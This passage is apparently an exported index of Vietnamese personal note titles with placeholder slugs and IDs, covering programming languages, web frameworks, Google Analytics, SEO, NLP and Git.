bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản +• Slug: undefined +• ID: YT +Python +• Slug: undefined +• ID: YU +shell=True cần cho +• Slug: undefined +• ID: YV +Tuple là mảng nhưng không thay đổi được số lượng phần tử +• Slug: undefined +• ID: YW +__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo +• Slug: undefined +• ID: YX +__init__.py nói cho Python biết folder chứa nó là một package +• Slug: undefined +• ID: YY +Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ +• Slug: undefined +• ID: YZ +Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng +• Slug: undefined +• ID: Ya +Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime +• Slug: undefined +• ID: Yb +cargo giống npm hay pip +• Slug: undefined +• ID: Yc +Crate là file, package là tập hợp nhiều crate +• Slug: undefined +• ID: Yd +Mỗi lần refactor là một cực hình +• Slug: undefined +• ID: Ye +Rust phù hợp khi code đã ổn định rồi +• Slug: undefined +• ID: Yf +Rust +• Slug: undefined +• ID: Yg +TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu +• Slug: undefined +• ID: Yh +Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành +• Slug: undefined +• ID: Yi +Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định +• Slug: undefined +• ID: Yj +Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp +• Slug: undefined +• ID: Yk +JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn +• Slug: undefined +• ID: Yl +Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ +• Slug: undefined +• ID: Ym +Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết +• Slug: undefined +• ID: Yn +Ý đồ thiết kế +• Slug: undefined +• ID: Yo +Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo +• Slug: undefined +• ID: Yp +Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language +• Slug: undefined +• ID: Yq +JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng +• Slug: undefined +• ID: Yr +JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép +• Slug: undefined +• ID: Ys +JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể +• Slug: undefined +• ID: Yt +JSON Schema dùng để đảm bảo file JSON được viết đúng +• Slug: undefined +• ID: Yu +Ngôn ngữ đánh dấu +• Slug: undefined +• ID: Yv +RDF có thể được biểu diễn bằng JSON-LD +• Slug: undefined +• ID: Yw +Chuyển từ YAML sang JSON +• Slug: undefined +• ID: Yx +YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc +• Slug: undefined +• ID: Yy +YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng +• Slug: undefined +• ID: Yz +Cache giúp giảm thời gian tải trang +• Slug: undefined +• ID: Y- +Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai +• Slug: undefined +• ID: Y_ +CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ +• Slug: undefined +• ID: Z0 +Có 4 loại vật thể (4 lớp): Tag, NavigableString, BeautifulSoup, và Comment +• Slug: undefined +• ID: Z1 +find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag +• Slug: undefined +• ID: Z2 +NavigableString là những chữ có trong tag +• Slug: undefined +• ID: Z3 +Tag là từ điển +• Slug: undefined +• ID: Z4 +Cào web +• Slug: undefined +• ID: Z5 +Kiếm backend API trước hơn là cào bằng frontend +• Slug: undefined +• ID: Z6 +Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy +• Slug: undefined +• ID: Z7 +Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver +• Slug: undefined +• ID: Z8 +Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful) +• Slug: undefined +• ID: Z9 +Component là những hàm hoặc lớp trả về một khối JSX +• Slug: undefined +• ID: ZA +Dùng fetch dạng promise chứ đừng await trong component +• Slug: undefined +• ID: ZB +JSX là cách để viết JS như thể viết HTML +• Slug: undefined +• ID: ZC +key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn +• Slug: undefined +• ID: ZD +Phải viết JSX trong .jsx hoặc .tsx +• Slug: undefined +• ID: ZE +Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML +• Slug: undefined +• ID: ZF +Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được +• Slug: undefined +• ID: ZG +Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó +• Slug: undefined +• ID: ZH +Không có async component vì hiệu suất quá tệ +• Slug: undefined +• ID: ZI +Những hàm được export default và được viết hoa ký tự đầu tiên là component +• Slug: undefined +• ID: ZJ +Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết +• Slug: undefined +• ID: ZK +Render là quá trình chuyển đổi dữ liệu và code sang HTML +• Slug: undefined +• ID: ZL +Framework +• Slug: undefined +• ID: ZM +form +• Slug: undefined +• ID: ZN +Fresh dùng Preact cho UI +• Slug: undefined +• ID: ZO +Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client +• Slug: undefined +• ID: ZP +Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework) +• Slug: undefined +• ID: ZQ +JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên +• Slug: undefined +• ID: ZR +Lịch sử phát triển framework JavaScript +• Slug: undefined +• ID: ZS +Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng +• Slug: undefined +• ID: ZT +Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả +• Slug: undefined +• ID: ZU +React nên được alias thành preact/compat +• Slug: undefined +• ID: ZV +React được sinh ra để làm việc với trạng thái +• Slug: undefined +• ID: ZW +Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không +• Slug: undefined +• ID: ZX +Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus +• Slug: undefined +• ID: ZY +Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client +• Slug: undefined +• ID: ZZ +Các hàm được môi trường thực thi cung cấp không hoạt động được ở island +• Slug: undefined +• ID: Za +Island là những component ở trong thư mục islands +• Slug: undefined +• ID: Zb +Island với partial hydration là một +• Slug: undefined +• ID: Zc +Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước +• Slug: undefined +• ID: Zd +Mỗi khi state thay đổi thì islands được render lại +• Slug: undefined +• ID: Ze +State giúp cập nhật dữ liệu mà không cần tải lại trang +• Slug: undefined +• ID: Zf +Nói cho đến cùng thì trang web chỉ là form +• Slug: undefined +• ID: Zg +createContext() nằm ngoài global, useContext() nằm trong component +• Slug: undefined +• ID: Zh +Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider +• Slug: undefined +• ID: Zi +useContext() là cách để không phải dùng Consumer +• Slug: undefined +• ID: Zj +Đối số của createContext() quyết định kiểu của value của Context.Provider +• Slug: undefined +• ID: Zk +Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state +• Slug: undefined +• ID: Zl +Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo +• Slug: undefined +• ID: Zm +Cách dùng useEffect với useState +• Slug: undefined +• ID: Zn +Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau +• Slug: undefined +• ID: Zo +Không dùng mảng hoặc vật thể trong setState được +• Slug: undefined +• ID: Zp +Phải viết hook trong component. Không viết trong loop hoặc if được +• Slug: undefined +• ID: Zq +Trong useEffect chỉ dùng được promise, không dùng async được +• Slug: undefined +• ID: Zr +useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render +• Slug: undefined +• ID: Zs +effect khác computed ở chỗ một cái có return, một cái không có return +• Slug: undefined +• ID: Zt +Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó +• Slug: undefined +• ID: Zu +Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra +• Slug: undefined +• ID: Zv +Route là code viết cho server. Island là code viết cho client +• Slug: undefined +• ID: Zw +Có một số hàm ở server sẽ không serialize được +• Slug: undefined +• ID: Zx +Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component +• Slug: undefined +• ID: Zy +Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component +• Slug: undefined +• ID: Zz +Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn +• Slug: undefined +• ID: Z- +Route cần có ít nhất một handler hoặc một component +• Slug: undefined +• ID: Z_ +Route không bao giờ được gửi đến client. Island được chạy ở cả server và client +• Slug: undefined +• ID: a0 +Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại +• Slug: undefined +• ID: a1 +So sánh Single Page App (SPA) vs Progressive Web App (PWA) +• Slug: undefined +• ID: a2 +UI là kết quả của state và data. State nằm ở client, data nằm ở server +• Slug: undefined +• ID: a3 +Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài +• Slug: undefined +• ID: a4 +DOM là kết quả của việc parse HTML +• Slug: undefined +• ID: a5 +DOM property khác HTML attribute +• Slug: undefined +• ID: a6 +Dùng tag ngữ nghĩa thay vì dùng div +• Slug: undefined +• ID: a7 +HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo +• Slug: undefined +• ID: a8 +HTML tự động điền tag vì ngày xưa cần tiết kiệm dung lượng ổ đĩa càng nhiều càng tốt +• Slug: undefined +• ID: a9 +Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem +• Slug: undefined +• ID: aA +Obsidian dùng ES5 +• Slug: undefined +• ID: aB +Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào +• Slug: undefined +• ID: aC +Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó +• Slug: undefined +• ID: aD +Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều +• Slug: undefined +• ID: aE +Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia +• Slug: undefined +• ID: aF +Web +• Slug: undefined +• ID: aG +Khoa học máy tính +• Slug: undefined +• ID: aH +MDN chất lượng hơn W3School +• Slug: undefined +• ID: aI +CodeAnalogies +• Slug: undefined +• ID: aJ +freeCodeCamp +• Slug: undefined +• ID: aK +Google Support +• Slug: undefined +• ID: aL +IBM +• Slug: undefined +• ID: aM +MDN +• Slug: undefined +• ID: aN +Phạm Đình Khánh +• Slug: undefined +• ID: aO +Real Python +• Slug: undefined +• ID: aP +Refactoring.Guru +• Slug: undefined +• ID: aQ +Stack Overflow +• Slug: undefined +• ID: aR +tuhocict +• Slug: undefined +• ID: aS +Tự ngẫm nghĩ, trải nghiệm +• Slug: undefined +• ID: aT +Viblo +• Slug: undefined +• ID: aU +Wikipedia +• Slug: undefined +• ID: aV +✍️Lập trình +• Slug: undefined +• ID: aW +Template tạo vault và website mới +• Slug: undefined +• ID: aX +1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code +• Slug: undefined +• ID: aY +1.2 Lấy code +• Slug: undefined +• ID: aZ +1.3 Tải code +• Slug: undefined +• ID: aa +2. Thiết lập chương trình +• Slug: undefined +• ID: ab +Sử dụng main.ts +• Slug: undefined +• ID: ac +Sử dụng tranky.py +• Slug: undefined +• ID: ad +Thiết lập trên Fibery +• Slug: undefined +• ID: ae +3.1 Mô hình xử lý dữ liệu +• Slug: undefined +• ID: af +Chiều, từ và nhãn +• Slug: undefined +• ID: ag +Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng() +• Slug: undefined +• ID: ah +Ý nghĩa của biểu thức regex trong hàm lọcSốTiền() +• Slug: undefined +• ID: ai +Chạy chương trình định kỳ +• Slug: undefined +• ID: aj +Hướng dẫn debug +• Slug: undefined +• ID: ak +Sử dụng Docker +• Slug: undefined +• ID: al +Hướng dẫn sử dụng Trấn Kỳ +• Slug: undefined +• ID: am +readme +• Slug: undefined +• ID: an +Xác định bài đăng giống nhau +• Slug: undefined +• ID: ao +đối ⊷ thoại +• Slug: undefined +• ID: ap +Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu +• Slug: undefined +• ID: aq +DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ +• Slug: undefined +• ID: ar +Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng +• Slug: undefined +• ID: as +Excel không phù hợp cho việc lập cơ sở dữ liệu +• Slug: undefined +• ID: at +File Google Docs không thực sự là file +• Slug: undefined +• ID: au +Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc +• Slug: undefined +• ID: av +Khó có thể copy dữ liệu dạng block giữa các app khác nhau +• Slug: undefined +• ID: aw +Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL +• Slug: undefined +• ID: ax +Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh +• Slug: undefined +• ID: ay +Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu +• Slug: undefined +• ID: az +Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata +• Slug: undefined +• ID: a- +Numpy và Pandas +• Slug: undefined +• ID: a_ +Phân tích dữ liệu +• Slug: undefined +• ID: b0 +Concept map, knowledge graph +• Slug: undefined +• ID: b1 +The Semantic Web is essentially a distributed-objects framework +• Slug: undefined +• ID: b2 +Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào +• Slug: undefined +• ID: b3 +Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra +• Slug: undefined +• ID: b4 +Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: b5 +Gensim tập trung vào mô hình chủ đề +• Slug: undefined +• ID: b6 +Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào +• Slug: undefined +• ID: b7 +Bản chất của mô hình chủ đề là tô màu cho văn bản và từ +• Slug: undefined +• ID: b8 +Mô hình bản chất là một phép biến đổi không gian vector +• Slug: undefined +• ID: b9 +Mô hình chủ đề rất hữu dụng cho việc diễn giải +• Slug: undefined +• ID: bA +SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector +• Slug: undefined +• ID: bB +tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản +• Slug: undefined +• ID: bC +tf-idf mạnh hơn count vector +• Slug: undefined +• ID: bD +Mô hình trích chọn từ +• Slug: undefined +• ID: bE +Phân tích xu hướng, NLP +• Slug: undefined +• ID: bF +Tổng quan về mô hình chủ đề +• Slug: undefined +• ID: bG +Tổng quan về xử lý tiếng Việt +• Slug: undefined +• ID: bH +Bộ từ trong dictionary sẽ quyết định bộ vector +• Slug: undefined +• ID: bI +Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu +• Slug: undefined +• ID: bJ +Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ +• Slug: undefined +• ID: bK +Việc vector hoá các văn bản là để máy tính có thể xử lý được +• Slug: undefined +• ID: bL +Độ tương đồng của hai vector chính là tích vô hướng vừa nó +• Slug: undefined +• ID: bM +Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn +• Slug: undefined +• ID: bN +Code chạy trên Linux hoặc WSL +• Slug: undefined +• ID: bO +Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp +• Slug: undefined +• ID: bP +Diễn giải mô hình WhatEvery1Says +• Slug: undefined +• ID: bQ +Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ +• Slug: undefined +• ID: bR +Python và R +• Slug: undefined +• ID: bS +Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ +• Slug: undefined +• ID: bT +Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu +• Slug: undefined +• ID: bU +Khi các xác suất độc lập với nhau thì dùng phép nhân +• Slug: undefined +• ID: bV +Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình +• Slug: undefined +• ID: bW +❓Không dùng vật thể mà chỉ dùng khối +• Slug: undefined +• ID: bX +Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin +• Slug: undefined +• ID: bY +❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình? +• Slug: undefined +• ID: bZ +📊Tổ chức dữ liệu. Phân tích dữ liệu +• Slug: undefined +• ID: ba +Có những người mình mong họ like nhưng họ lại không phải là người mình cần +• Slug: undefined +• ID: bb +Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau +• Slug: undefined +• ID: bc +Quảng cáo trên Facebook +• Slug: undefined +• ID: bd +Seeding +• Slug: undefined +• ID: be +Share bài từ page thì thấy được số tương tác trên Facebook +• Slug: undefined +• ID: bf +subdomain m, l, lm +• Slug: undefined +• ID: bg +Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og:url +• Slug: undefined +• ID: bh +Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite +• Slug: undefined +• ID: bi +❓Vai trò của các chỉ số trên Facebook trong phân tích web +• Slug: undefined +• ID: bj +Kinh nghiệm +• Slug: undefined +• ID: bk +Quảng cáo trên Facebook +• Slug: undefined +• ID: bl +Rút gọn link +• Slug: undefined +• ID: bm +JSON-LD là một cách để tạo schema +• Slug: undefined +• ID: bn +Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google +• Slug: undefined +• ID: bo +Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp +• Slug: undefined +• ID: bp +SEO +• Slug: undefined +• ID: bq +Chiến dịch là sản phẩm +• Slug: undefined +• ID: br +Client-side tracking thiếu chính xác +• Slug: undefined +• ID: bs +Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58% +• Slug: undefined +• ID: bt +Dự án là sản phẩm +• Slug: undefined +• ID: bu +Chỉ cần dùng một measurement ID cho các subdomain +• Slug: undefined +• ID: bv +Google Analytics dùng cookie để theo dõi hoạt động +• Slug: undefined +• ID: bw +Google Analytics +• Slug: undefined +• ID: bx +Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng +• Slug: undefined +• ID: by +Các organic branded traffic nên được xem như là direct traffic +• Slug: undefined +• ID: bz +Các URL dài có thể là organic traffic chứ không phải direct traffic +• Slug: undefined +• ID: b- +GA xem zalo, wordpress, stackexchange là social +• Slug: undefined +• ID: b_ +Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại +• Slug: undefined +• ID: c0 +Referral channel group bao gồm organic social trong đó +• Slug: undefined +• ID: c1 +Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn +• Slug: undefined +• ID: c2 +Google Marketing Platform +• Slug: undefined +• ID: c3 +Google Search Console chỉ lưu dữ liệu trong 16 tháng +• Slug: undefined +• ID: c4 +Google Search Console dùng để biết thiên hạ đang google web mình thế nào +• Slug: undefined +• ID: c5 +App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination +• Slug: undefined +• ID: c6 +Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property +• Slug: undefined +• ID: c7 +Các tag có thể thêm vào +• Slug: undefined +• ID: c8 +Destination ID cho GA trùng với Measurement ID của web data stream +• Slug: undefined +• ID: c9 +Destination là nơi nhận dữ liệu của Google tag +• Slug: undefined +• ID: cA +Container +• Slug: undefined +• ID: cB +Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác +• Slug: undefined +• ID: cC +Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container +• Slug: undefined +• ID: cD +Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web +• Slug: undefined +• ID: cE +Workspace +• Slug: undefined +• ID: cF +Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞ +• Slug: undefined +• ID: cG +Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager +• Slug: undefined +• ID: cH +Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics +• Slug: undefined +• ID: cI +Một Google tag có thể có nhiều ID +• Slug: undefined +• ID: cJ +Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag +• Slug: undefined +• ID: cK +Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin +• Slug: undefined +• ID: cL +A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4 +• Slug: undefined +• ID: cM +Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request +• Slug: undefined +• ID: cN +❓Measurement ID của web data stream chính là Google tag ID +• Slug: undefined +• ID: cO +Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân +• Slug: undefined +• ID: cP +Web analytics đã thay đổi trong nhiều năm qua +• Slug: undefined +• ID: cQ +🔊Tiếp thị số +• Slug: undefined +• ID: cR +Các quy chuẩn thời gian ISO và RFC +• Slug: undefined +• ID: cS +Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn là markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub +• Slug: undefined +• ID: cT +Plugin ezlinks vừa nhiều lỗi vừa không cần thiết +• Slug: undefined +• ID: cU +py-obsidianmd gặp lỗi khi chuyển từ ALL sang FRONTMATTER +• Slug: undefined +• ID: cV +Python Markdown là để tuỳ chỉnh các tính năng thường gặp. Python Markdown Extensions là để mở rộng các cách đánh dấu mới +• Slug: undefined +• ID: cW +mdast dùng khi muốn thao tác trực tiếp trên cây cú pháp +• Slug: undefined +• ID: cX +parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ +• Slug: undefined +• ID: cY +Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi +• Slug: undefined +• ID: cZ +remark là unified có remarkParse và remarkStringify +• Slug: undefined +• ID: ca +unified, remark là các processor +• Slug: undefined +• ID: cb +Cần escape regex +• Slug: undefined +• ID: cc +Dùng regex.exec() với while dễ vào vòng lặp vô hạn +• Slug: undefined +• ID: cd +Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai +• Slug: undefined +• ID: ce +regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới +• Slug: undefined +• ID: cf +Không dùng \b ngay sau ký tự unicode được +• Slug: undefined +• ID: cg +Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái +• Slug: undefined +• ID: ch +Regex giúp tìm kiếm những chuỗi phức tạp +• Slug: undefined +• ID: ci +Tự học regex +• Slug: undefined +• ID: cj +Bộ gõ tiếng Việt +• Slug: undefined +• ID: ck +Các ký tự ASCII có 1 điểm mã +• Slug: undefined +• ID: cl +Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự +• Slug: undefined +• ID: cm +Không gian mã là không gian chứa tất cả các điểm mã của Unicode +• Slug: undefined +• ID: cn +Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII +• Slug: undefined +• ID: co +Lý thuyết Unicode +• Slug: undefined +• ID: cp +Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY +• Slug: undefined +• ID: cq +Những số bắt đầu bằng 0x là những số hex +• Slug: undefined +• ID: cr +Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất +• Slug: undefined +• ID: cs +Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã +• Slug: undefined +• ID: ct +UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân +• Slug: undefined +• ID: cu +Điểm mã không phải là cách để máy tính lưu ký tự +• Slug: undefined +• ID: cv +Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu +• Slug: undefined +• ID: cw +Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm +• Slug: undefined +• ID: cx +Cài PangoCairo trước khi dùng unicode trong Graphviz +• Slug: undefined +• ID: cy +Macro dùng để viết tắt +• Slug: undefined +• ID: cz +TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF +• Slug: undefined +• ID: c- +LaTeX đối với TeX cũng giống như jQuery đối với JavaScript +• Slug: undefined +• ID: c_ +TeX dùng cho máy in. LaTeX dùng cho tác giả +• Slug: undefined +• ID: d0 +TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn +• Slug: undefined +• ID: d1 +TeX +• Slug: undefined +• ID: d2 +WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào +• Slug: undefined +• ID: d3 +Tạo bản đồ +• Slug: undefined +• ID: d4 +Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút +• Slug: undefined +• ID: d5 +Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename +• Slug: undefined +• ID: d6 +Obsidian dùng CodeMirror +• Slug: undefined +• ID: d7 +this liệt kê tất cả những dữ liệu mà Dataview đọc được +• Slug: undefined +• ID: d8 +Ưu tiên dùng API của Obsidian hơn là của Node +• Slug: undefined +• ID: d9 +Các template engine và processor sẽ kiếm trong thư mục _includes +• Slug: undefined +• ID: dA +Theme cơ bản là những plugin có remote +• Slug: undefined +• ID: dB +Tất cả các đường dẫn đều bắt đầu từ src +• Slug: undefined +• ID: dC +Tất cả mọi thứ đều phải ở trong thư mục src +• Slug: undefined +• ID: dD +Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc +• Slug: undefined +• ID: dE +main.html là template +• Slug: undefined +• ID: dF +main.html mở rộng base.html +• Slug: undefined +• ID: dG +Muốn cái nào làm trang chủ thì để tên là index.html +• Slug: undefined +• ID: dH +Web tĩnh +• Slug: undefined +• ID: dI +Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng +• Slug: undefined +• ID: dJ +Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML +• Slug: undefined +• ID: dK +PHP là một ngôn ngữ lập trình cho web +• Slug: undefined +• ID: dL +phpMyAdmin là GUI để dùng MySQL +• Slug: undefined +• ID: dM +WordPress là một hệ thống quản lý nội dung +• Slug: undefined +• ID: dN +WordPress viết trên nền PHP +• Slug: undefined +• ID: dO +WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting +• Slug: undefined +• ID: dP +Bản chất của Git chỉ là những cặp giá trị key – value +• Slug: undefined +• ID: dQ +Có 4 loại object chính: blob, tree, commit, annotated tag +• Slug: undefined +• ID: dR +Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng +• Slug: undefined +• ID: dS +Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự +• Slug: undefined +• ID: dT +Key là hash của object, value là nội dung object +• Slug: undefined +• ID: dU +Ref là hệ thống đặt tên các object +• Slug: undefined +• ID: dV +@ là viết tắt của HEAD +• Slug: undefined +• ID: dW +Git không biết gì về folder +• Slug: undefined +• ID: dX +git log giúp xem lịch sử các commit +• Slug: undefined +• ID: dY +git reflog giúp xem lại các ref không có trong lịch sử commit +• Slug: undefined +• ID: dZ +HEAD là commit hiện tại +• Slug: undefined +• ID: da +Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn +• Slug: undefined +• ID: db +stash pop nếu gặp conflict sẽ không pop +• Slug: undefined +• ID: dc +Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là 